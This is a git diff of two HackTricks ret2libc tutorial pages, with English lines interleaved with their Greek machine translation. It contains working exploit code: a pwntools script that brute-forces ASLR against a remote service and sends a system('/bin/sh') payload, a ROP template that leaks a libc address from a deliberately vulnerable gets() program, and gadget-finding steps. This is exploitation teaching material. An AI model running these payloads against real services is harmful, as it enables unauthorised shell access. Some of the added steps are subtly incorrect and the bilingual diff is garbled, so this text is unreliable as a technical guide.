* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**If you have found a vulnerable binary and you think that you can exploit it using Ret2Lib here you can find some basic steps that you can follow.**
|
||||
**Εάν έχετε βρει ένα ευπάθεια δυαδικού αρχείου και πιστεύετε ότι μπορείτε να το εκμεταλλευτείτε χρησιμοποιώντας το Ret2Lib, εδώ μπορείτε να βρείτε μερικά βασικά βήματα που μπορείτε να ακολουθήσετε.**
|
||||
|
||||
# If you are **inside** the **host**
|
||||
|
||||
## You can find the **address of lib**c
|
||||
# Εάν είστε **μέσα** στο **σύστημα φιλοξενίας**
|
||||
|
||||
## Μπορείτε να βρείτε τη **διεύθυνση της βιβλιοθήκης**c
|
||||
```bash
|
||||
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
|
||||
```
|
||||
|
||||
If you want to check if the ASLR is changing the address of libc you can do:
|
||||
|
||||
Αν θέλετε να ελέγξετε αν το ASLR αλλάζει τη διεύθυνση της libc, μπορείτε να κάνετε:
|
||||
```bash
|
||||
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
|
||||
```
|
||||
## Λήψη της μετατόπισης της συνάρτησης system
|
||||
|
||||
## Get offset of system function
|
||||
To get the offset of the system function, we can use the following steps:
|
||||
|
||||
1. Create a simple program that calls the system function with a dummy command.
|
||||
2. Compile the program with debugging symbols enabled.
|
||||
3. Use a debugger, such as GDB, to analyze the program and find the offset of the system function.
|
||||
|
||||
Here is an example program in C:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int main() {
|
||||
system("echo Hello, World!");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
To compile the program with debugging symbols, use the `-g` flag:
|
||||
|
||||
```bash
|
||||
gcc -g program.c -o program
|
||||
```
|
||||
|
||||
Next, run the program in GDB:
|
||||
|
||||
```bash
|
||||
gdb program
|
||||
```
|
||||
|
||||
Once inside GDB, set a breakpoint at the system function:
|
||||
|
||||
```bash
|
||||
break system
|
||||
```
|
||||
|
||||
Run the program:
|
||||
|
||||
```bash
|
||||
run
|
||||
```
|
||||
|
||||
When the breakpoint is hit, use the `info functions` command to list all the functions and their addresses. Look for the address of the system function:
|
||||
|
||||
```bash
|
||||
info functions
|
||||
```
|
||||
|
||||
The offset of the system function can be calculated by subtracting the base address of the library where the function resides from the address of the function itself.
|
||||
|
||||
Note: The offset may vary depending on the system and library versions.
|
||||
```bash
|
||||
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
|
||||
```
|
||||
## Αποκτήστε τη μετατόπιση του "/bin/sh"
|
||||
|
||||
## Get offset of "/bin/sh"
|
||||
Για να αποκτήσετε τη μετατόπιση του αλφαριθμητικού "/bin/sh" στην μνήμη, μπορείτε να χρησιμοποιήσετε το εργαλείο `objdump`. Ακολουθήστε τα παρακάτω βήματα:
|
||||
|
||||
1. Εκτελέστε την εντολή `objdump -s -j .rodata <binary>` για να εμφανιστούν οι πληροφορίες της ενότητας `.rodata` του εκτελέσιμου αρχείου.
|
||||
2. Αναζητήστε τη γραμμή που περιέχει το αλφαριθμητικό "/bin/sh".
|
||||
3. Η μετατόπιση του αλφαριθμητικού "/bin/sh" θα είναι ο αριθμός που ακολουθεί την αντίστοιχη γραμμή.
|
||||
|
||||
Παρακάτω παρουσιάζεται ένα παράδειγμα εντολής:
|
||||
|
||||
```bash
|
||||
objdump -s -j .rodata /path/to/binary | grep "/bin/sh"
|
||||
```
|
||||
|
||||
Η έξοδος θα περιέχει τη μετατόπιση του αλφαριθμητικού "/bin/sh" στη μνήμη.
|
||||
```bash
|
||||
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
|
||||
```
|
||||
|
||||
## /proc/\<PID>/maps
|
||||
|
||||
If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root).
|
||||
Εάν η διεργασία δημιουργεί **παιδιά** κάθε φορά που επικοινωνείτε μαζί της (διακομιστής δικτύου), προσπαθήστε να **διαβάσετε** αυτό το αρχείο (πιθανώς θα χρειαστείτε να είστε ρουτ).
|
||||
|
||||
Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process.
|
||||
Εδώ μπορείτε να βρείτε **ακριβώς πού φορτώνεται η βιβλιοθήκη libc** μέσα στη διεργασία και **πού θα φορτωθεί** για κάθε παιδί της διεργασίας.
|
||||
|
||||
![](<../../.gitbook/assets/image (95).png>)
|
||||
|
||||
In this case it is loaded in **0xb75dc000** (This will be the base address of libc)
|
||||
Σε αυτήν την περίπτωση φορτώνεται στη διεύθυνση **0xb75dc000** (Αυτή θα είναι η βασική διεύθυνση της libc)
|
||||
|
||||
## Using gdb-peda
|
||||
|
||||
Get address of **system** function, of **exit** function and of the string **"/bin/sh"** using gdb-peda:
|
||||
## Χρήση του gdb-peda
|
||||
|
||||
Αποκτήστε τη διεύθυνση της συνάρτησης **system**, της συνάρτησης **exit** και του αλφαριθμητικού **"/bin/sh"** χρησιμοποιώντας το gdb-peda:
|
||||
```
|
||||
p system
|
||||
p exit
|
||||
find "/bin/sh"
|
||||
```
|
||||
# Παράκαμψη του ASLR
|
||||
|
||||
# Bypassing ASLR
|
||||
|
||||
You can try to bruteforce the abse address of libc.
|
||||
|
||||
Μπορείτε να προσπαθήσετε να κάνετε bruteforce τη διεύθυνση βάσης της βιβλιοθήκης libc.
|
||||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
|
||||
# Code
|
||||
|
||||
# Κώδικας
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -80,28 +131,24 @@ c = remote('192.168.85.181',20002)
|
|||
c.recvline() #Banner
|
||||
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
p = ""
|
||||
p += p32(off + 0x0003cb20) #system
|
||||
p += "CCCC" #GARBAGE
|
||||
p += p32(off + 0x001388da) #/bin/sh
|
||||
payload = 'A'*0x20010 + p
|
||||
c.send(payload)
|
||||
c.interactive() #?
|
||||
p = ""
|
||||
p += p32(off + 0x0003cb20) #system
|
||||
p += "CCCC" #GARBAGE
|
||||
p += p32(off + 0x001388da) #/bin/sh
|
||||
payload = 'A'*0x20010 + p
|
||||
c.send(payload)
|
||||
c.interactive() #?
|
||||
```
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,98 +1,89 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Quick Resume
|
||||
# Γρήγορη Περίληψη
|
||||
|
||||
1. **Find** overflow **offset**
|
||||
2. **Find** `POP_RDI`, `PUTS_PLT` and `MAIN_PLT` gadgets
|
||||
3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me))
|
||||
4. With the library, **calculate the ROP and exploit it**
|
||||
1. **Βρείτε** την **απόκλιση της υπερχείλισης**
|
||||
2. **Βρείτε** τα εργαλεία `POP_RDI`, `PUTS_PLT` και `MAIN_PLT`
|
||||
3. Χρησιμοποιήστε τα προηγούμενα εργαλεία για να **διαρρεύσετε τη διεύθυνση μνήμης** της συνάρτησης puts ή μιας άλλης βιβλιοθήκης libc και να **βρείτε την έκδοση της libc** ([κατεβάστε την](https://libc.blukat.me))
|
||||
4. Με τη βιβλιοθήκη, **υπολογίστε το ROP και εκμεταλλευτείτε το**
|
||||
|
||||
# Other tutorials and binaries to practice
|
||||
# Άλλα εκπαιδευτικά εγχειρίδια και δυαδικά για εξάσκηση
|
||||
|
||||
This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
|
||||
Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
|
||||
Αυτό το εκπαιδευτικό εγχειρίδιο θα εκμεταλλευτεί τον κώδικα/δυαδικό που προτείνεται σε αυτό το εκπαιδευτικό εγχειρίδιο: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
|
||||
Άλλα χρήσιμα εκπαιδευτικά εγχειρίδια: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
|
||||
|
||||
# Code
|
||||
|
||||
Filename: `vuln.c`
|
||||
# Κώδικας
|
||||
|
||||
Όνομα αρχείου: `vuln.c`
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
char buffer[32];
|
||||
puts("Simple ROP.\n");
|
||||
gets(buffer);
|
||||
char buffer[32];
|
||||
puts("Simple ROP.\n");
|
||||
gets(buffer);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
gcc -o vuln vuln.c -fno-stack-protector -no-pie
|
||||
```
|
||||
# ROP - Πρότυπο διαρροής LIBC
|
||||
|
||||
# ROP - Leaking LIBC template
|
||||
|
||||
I'm going to use the code located here to make the exploit.\
|
||||
Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script:
|
||||
Θα χρησιμοποιήσω τον κώδικα που βρίσκεται εδώ για να κάνω την εκμετάλλευση.\
|
||||
Κατεβάστε την εκμετάλλευση και τοποθετήστε την στον ίδιο φάκελο με το ευπάθειας δυαδικό αρχείο και δώστε τα απαραίτητα δεδομένα στο σενάριο:
|
||||
|
||||
{% content-ref url="rop-leaking-libc-template.md" %}
|
||||
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
# 1- Finding the offset
|
||||
|
||||
The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`):
|
||||
# 1- Εύρεση της μετατόπισης
|
||||
|
||||
Το πρότυπο χρειάζεται μια μετατόπιση πριν συνεχίσει με την εκμετάλλευση. Αν δεν δοθεί καμία, θα εκτελέσει τον απαραίτητο κώδικα για να την βρει (από προεπιλογή `OFFSET = ""`):
|
||||
```bash
|
||||
###################
|
||||
### Find offset ###
|
||||
###################
|
||||
OFFSET = ""#"A"*72
|
||||
if OFFSET == "":
|
||||
gdb.attach(p.pid, "c") #Attach and continue
|
||||
payload = cyclic(1000)
|
||||
print(r.clean())
|
||||
r.sendline(payload)
|
||||
#x/wx $rsp -- Search for bytes that crashed the application
|
||||
#cyclic_find(0x6161616b) # Find the offset of those bytes
|
||||
return
|
||||
gdb.attach(p.pid, "c") #Attach and continue
|
||||
payload = cyclic(1000)
|
||||
print(r.clean())
|
||||
r.sendline(payload)
|
||||
#x/wx $rsp -- Search for bytes that crashed the application
|
||||
#cyclic_find(0x6161616b) # Find the offset of those bytes
|
||||
return
|
||||
```
|
||||
|
||||
**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:
|
||||
|
||||
**Εκτελέστε** `python template.py` και θα ανοίξει μια κονσόλα GDB με το πρόγραμμα να καταρρέει. Μέσα σε αυτήν την **κονσόλα GDB**, εκτελέστε `x/wx $rsp` για να πάρετε τα **bytes** που θα αντικαταστήσουν το RIP. Τέλος, πάρτε την **απόσταση** χρησιμοποιώντας μια **κονσόλα python**:
|
||||
```python
|
||||
from pwn import *
|
||||
cyclic_find(0x6161616b)
|
||||
```
|
||||
|
||||
![](<../../../.gitbook/assets/image (140).png>)
|
||||
|
||||
After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\
|
||||
Αφού βρεθεί η απόκλιση (σε αυτήν την περίπτωση 40), αλλάξτε τη μεταβλητή OFFSET μέσα στο πρότυπο χρησιμοποιώντας αυτήν την τιμή.\
|
||||
`OFFSET = "A" * 40`
|
||||
|
||||
Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF.
|
||||
Μια άλλη μέθοδος θα ήταν να χρησιμοποιήσετε: `pattern create 1000` -- _εκτέλεση μέχρι το ret_ -- `pattern search $rsp` από το GEF.
|
||||
|
||||
# 2- Finding Gadgets
|
||||
|
||||
Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.
|
||||
# 2- Εύρεση Gadgets
|
||||
|
||||
Τώρα πρέπει να βρούμε τα ROP gadgets μέσα στο δυαδικό αρχείο. Αυτά τα ROP gadgets θα είναι χρήσιμα για να καλέσουν τη συνάρτηση `puts` για να βρούν τη **libc** που χρησιμοποιείται και αργότερα για να **εκτελέσουν την τελική επίθεση**.
|
||||
```python
|
||||
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
|
||||
MAIN_PLT = elf.symbols['main']
|
||||
|
@ -103,108 +94,98 @@ log.info("Main start: " + hex(MAIN_PLT))
|
|||
log.info("Puts plt: " + hex(PUTS_PLT))
|
||||
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
|
||||
```
|
||||
Το `PUTS_PLT` χρειάζεται για να καλέσει τη **συνάρτηση puts**.\
|
||||
Το `MAIN_PLT` χρειάζεται για να καλέσει ξανά τη **κύρια συνάρτηση** μετά από μια αλληλεπίδραση για να **εκμεταλλευτεί** την **υπερχείλιση** ξανά (άπειρους γύρους εκμετάλλευσης). **Χρησιμοποιείται στο τέλος κάθε ROP για να καλέσει ξανά το πρόγραμμα**.\
|
||||
Το **POP\_RDI** χρειάζεται για να **περάσει** ένα **παράμετρο** στην κληθείσα συνάρτηση.
|
||||
|
||||
The `PUTS_PLT` is needed to call the **function puts**.\
|
||||
The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\
|
||||
The **POP\_RDI** is needed to **pass** a **parameter** to the called function.
|
||||
Σε αυτό το βήμα δεν χρειάζεται να εκτελέσετε τίποτα, καθώς όλα θα βρεθούν από το pwntools κατά τη διάρκεια της εκτέλεσης.
|
||||
|
||||
In this step you don't need to execute anything as everything will be found by pwntools during the execution.
|
||||
|
||||
# 3- Finding LIBC library
|
||||
|
||||
Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.
|
||||
# 3- Εύρεση βιβλιοθήκης LIBC
|
||||
|
||||
Τώρα είναι η στιγμή να βρούμε ποια έκδοση της βιβλιοθήκης **libc** χρησιμοποιείται. Για να το κάνουμε αυτό, θα **διαρρεύσουμε** τη **διεύθυνση** στη μνήμη της **συνάρτησης** `puts` και στη συνέχεια θα **αναζητήσουμε** σε ποια **έκδοση βιβλιοθήκης** βρίσκεται η έκδοση του puts σε αυτήν τη διεύθυνση.
|
||||
```python
|
||||
def get_addr(func_name):
|
||||
FUNC_GOT = elf.got[func_name]
|
||||
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
|
||||
# Create rop chain
|
||||
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
FUNC_GOT = elf.got[func_name]
|
||||
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
|
||||
# Create rop chain
|
||||
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
|
||||
#Send our rop-chain payload
|
||||
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
|
||||
print(p.clean()) # clean socket buffer (read all and print)
|
||||
p.sendline(rop1)
|
||||
#Send our rop-chain payload
|
||||
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
|
||||
print(p.clean()) # clean socket buffer (read all and print)
|
||||
p.sendline(rop1)
|
||||
|
||||
#Parse leaked address
|
||||
recieved = p.recvline().strip()
|
||||
leak = u64(recieved.ljust(8, "\x00"))
|
||||
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
|
||||
#If not libc yet, stop here
|
||||
if libc != "":
|
||||
libc.address = leak - libc.symbols[func_name] #Save libc base
|
||||
log.info("libc base @ %s" % hex(libc.address))
|
||||
|
||||
return hex(leak)
|
||||
#Parse leaked address
|
||||
recieved = p.recvline().strip()
|
||||
leak = u64(recieved.ljust(8, "\x00"))
|
||||
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
|
||||
#If not libc yet, stop here
|
||||
if libc != "":
|
||||
libc.address = leak - libc.symbols[func_name] #Save libc base
|
||||
log.info("libc base @ %s" % hex(libc.address))
|
||||
|
||||
return hex(leak)
|
||||
|
||||
get_addr("puts") #Search for puts address in memmory to obtains libc base
|
||||
if libc == "":
|
||||
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
|
||||
p.interactive()
|
||||
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
To do so, the most important line of the executed code is:
|
||||
|
||||
Για να το επιτύχουμε, η πιο σημαντική γραμμή του εκτελούμενου κώδικα είναι:
|
||||
```python
|
||||
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
```
|
||||
Αυτό θα στείλει μερικά bytes μέχρι να είναι δυνατή η **αντικατάσταση** του **RIP**: `OFFSET`.\
|
||||
Στη συνέχεια, θα ορίσει τη **διεύθυνση** του gadget `POP_RDI` έτσι ώστε η επόμενη διεύθυνση (`FUNC_GOT`) να αποθηκευτεί στον καταχωρητή **RDI**. Αυτό γίνεται επειδή θέλουμε να καλέσουμε τη συνάρτηση puts περνώντας της τη **διεύθυνση** του `PUTS_GOT` ως τη διεύθυνση στη μνήμη της συνάρτησης puts που αποθηκεύεται στη διεύθυνση που δείχνει το `PUTS_GOT`.\
|
||||
Μετά από αυτό, θα κληθεί η `PUTS_PLT` (με το `PUTS_GOT` μέσα στον καταχωρητή **RDI**) έτσι ώστε η puts να **διαβάσει το περιεχόμενο** μέσα στο `PUTS_GOT` (**τη διεύθυνση της συνάρτησης puts στη μνήμη**) και να το **εκτυπώσει**.\
|
||||
Τέλος, καλείται ξανά η **κύρια συνάρτηση** ώστε να μπορέσουμε να εκμεταλλευτούμε ξανά την υπερχείλιση.
|
||||
|
||||
This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\
|
||||
Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\
|
||||
After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\
|
||||
Finally, **main function is called again** so we can exploit the overflow again.
|
||||
|
||||
This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**.
|
||||
Με αυτόν τον τρόπο έχουμε **εξαπατήσει τη συνάρτηση puts** να εκτυπώσει τη **διεύθυνση** στη **μνήμη** της συνάρτησης **puts** (η οποία βρίσκεται μέσα στη βιβλιοθήκη **libc**). Τώρα που έχουμε αυτήν τη διεύθυνση, μπορούμε να **αναζητήσουμε ποια έκδοση της libc χρησιμοποιείται**.
|
||||
|
||||
![](<../../../.gitbook/assets/image (141).png>)
|
||||
|
||||
As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\
|
||||
But, in a remote exploit case I will explain here how can you find it:
|
||||
Καθώς **εκμεταλλευόμαστε** ένα **τοπικό** δυαδικό αρχείο, δεν είναι **απαραίτητο** να βρούμε ποια έκδοση της **libc** χρησιμοποιείται (απλά βρείτε τη βιβλιοθήκη στο `/lib/x86_64-linux-gnu/libc.so.6`).\
|
||||
Ωστόσο, σε περίπτωση εκμετάλλευσης από απόσταση, θα εξηγήσω εδώ πώς μπορείτε να το βρείτε:
|
||||
|
||||
## 3.1- Searching for libc version (1)
|
||||
## 3.1- Αναζήτηση για έκδοση της libc (1)
|
||||
|
||||
You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\
|
||||
It will also allow you to download the discovered version of **libc**
|
||||
Μπορείτε να αναζητήσετε ποια βιβλιοθήκη χρησιμοποιείται στην ιστοσελίδα: [https://libc.blukat.me/](https://libc.blukat.me)\
|
||||
Θα σας επιτρέψει επίσης να κατεβάσετε την ανακαλυφθείσα έκδοση της **libc**
|
||||
|
||||
![](<../../../.gitbook/assets/image (142).png>)
|
||||
|
||||
## 3.2- Searching for libc version (2)
|
||||
## 3.2- Αναζήτηση για έκδοση της libc (2)
|
||||
|
||||
You can also do:
|
||||
Μπορείτε επίσης να κάνετε:
|
||||
|
||||
* `$ git clone https://github.com/niklasb/libc-database.git`
|
||||
* `$ cd libc-database`
|
||||
* `$ ./get`
|
||||
|
||||
This will take some time, be patient.\
|
||||
For this to work we need:
|
||||
Αυτό θα πάρει κάποιο χρόνο, να είστε υπομονετικοί.\
|
||||
Για να λειτουργήσει αυτό, χρειαζόμαστε:
|
||||
|
||||
* Libc symbol name: `puts`
|
||||
* Leaked libc adddress: `0x7ff629878690`
|
||||
|
||||
We can figure out which **libc** that is most likely used.
|
||||
* Όνομα συμβόλου της libc: `puts`
|
||||
* Διεύθυνση της διαρροής της libc: `0x7ff629878690`
|
||||
|
||||
Μπορούμε να καταλάβουμε ποια **libc** πιθανότατα χρησιμοποιείται.
|
||||
```
|
||||
./find puts 0x7ff629878690
|
||||
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
|
||||
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
|
||||
```
|
||||
|
||||
We get 2 matches (you should try the second one if the first one is not working). Download the first one:
|
||||
|
||||
Βρίσκουμε 2 αντιστοιχίες (θα πρέπει να δοκιμάσετε τη δεύτερη αν η πρώτη δεν λειτουργεί). Κατεβάστε την πρώτη:
|
||||
```
|
||||
./download libc6_2.23-0ubuntu10_amd64
|
||||
Getting libc6_2.23-0ubuntu10_amd64
|
||||
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
|
||||
-> Downloading package
|
||||
-> Extracting package
|
||||
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
|
||||
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
|
||||
-> Downloading package
|
||||
-> Extracting package
|
||||
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
|
||||
```
|
||||
Αντιγράψτε το libc από `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` στον τρέχοντα κατάλογο εργασίας μας.
|
||||
|
||||
Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory.
|
||||
|
||||
## 3.3- Other functions to leak
|
||||
|
||||
## 3.3- Άλλες συναρτήσεις για διαρροή
|
||||
```python
|
||||
puts
|
||||
printf
|
||||
|
@ -212,29 +193,25 @@ __libc_start_main
|
|||
read
|
||||
gets
|
||||
```
|
||||
# 4- Εύρεση βασισμένης διεύθυνσης της βιβλιοθήκης libc & εκμετάλλευση
|
||||
|
||||
# 4- Finding based libc address & exploiting
|
||||
Σε αυτό το σημείο θα πρέπει να γνωρίζουμε τη βιβλιοθήκη libc που χρησιμοποιείται. Καθώς εκμεταλλευόμαστε ένα τοπικό δυαδικό αρχείο, θα χρησιμοποιήσω απλώς: `/lib/x86_64-linux-gnu/libc.so.6`
|
||||
|
||||
At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6`
|
||||
Έτσι, στην αρχή του `template.py` αλλάξτε τη μεταβλητή **libc** σε: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Ορίστε τη διαδρομή της βιβλιοθήκης όταν την γνωρίζετε`
|
||||
|
||||
So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
|
||||
|
||||
Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**.
|
||||
|
||||
Inside the `get_addr`function the **base address of libc** is going to be calculated:
|
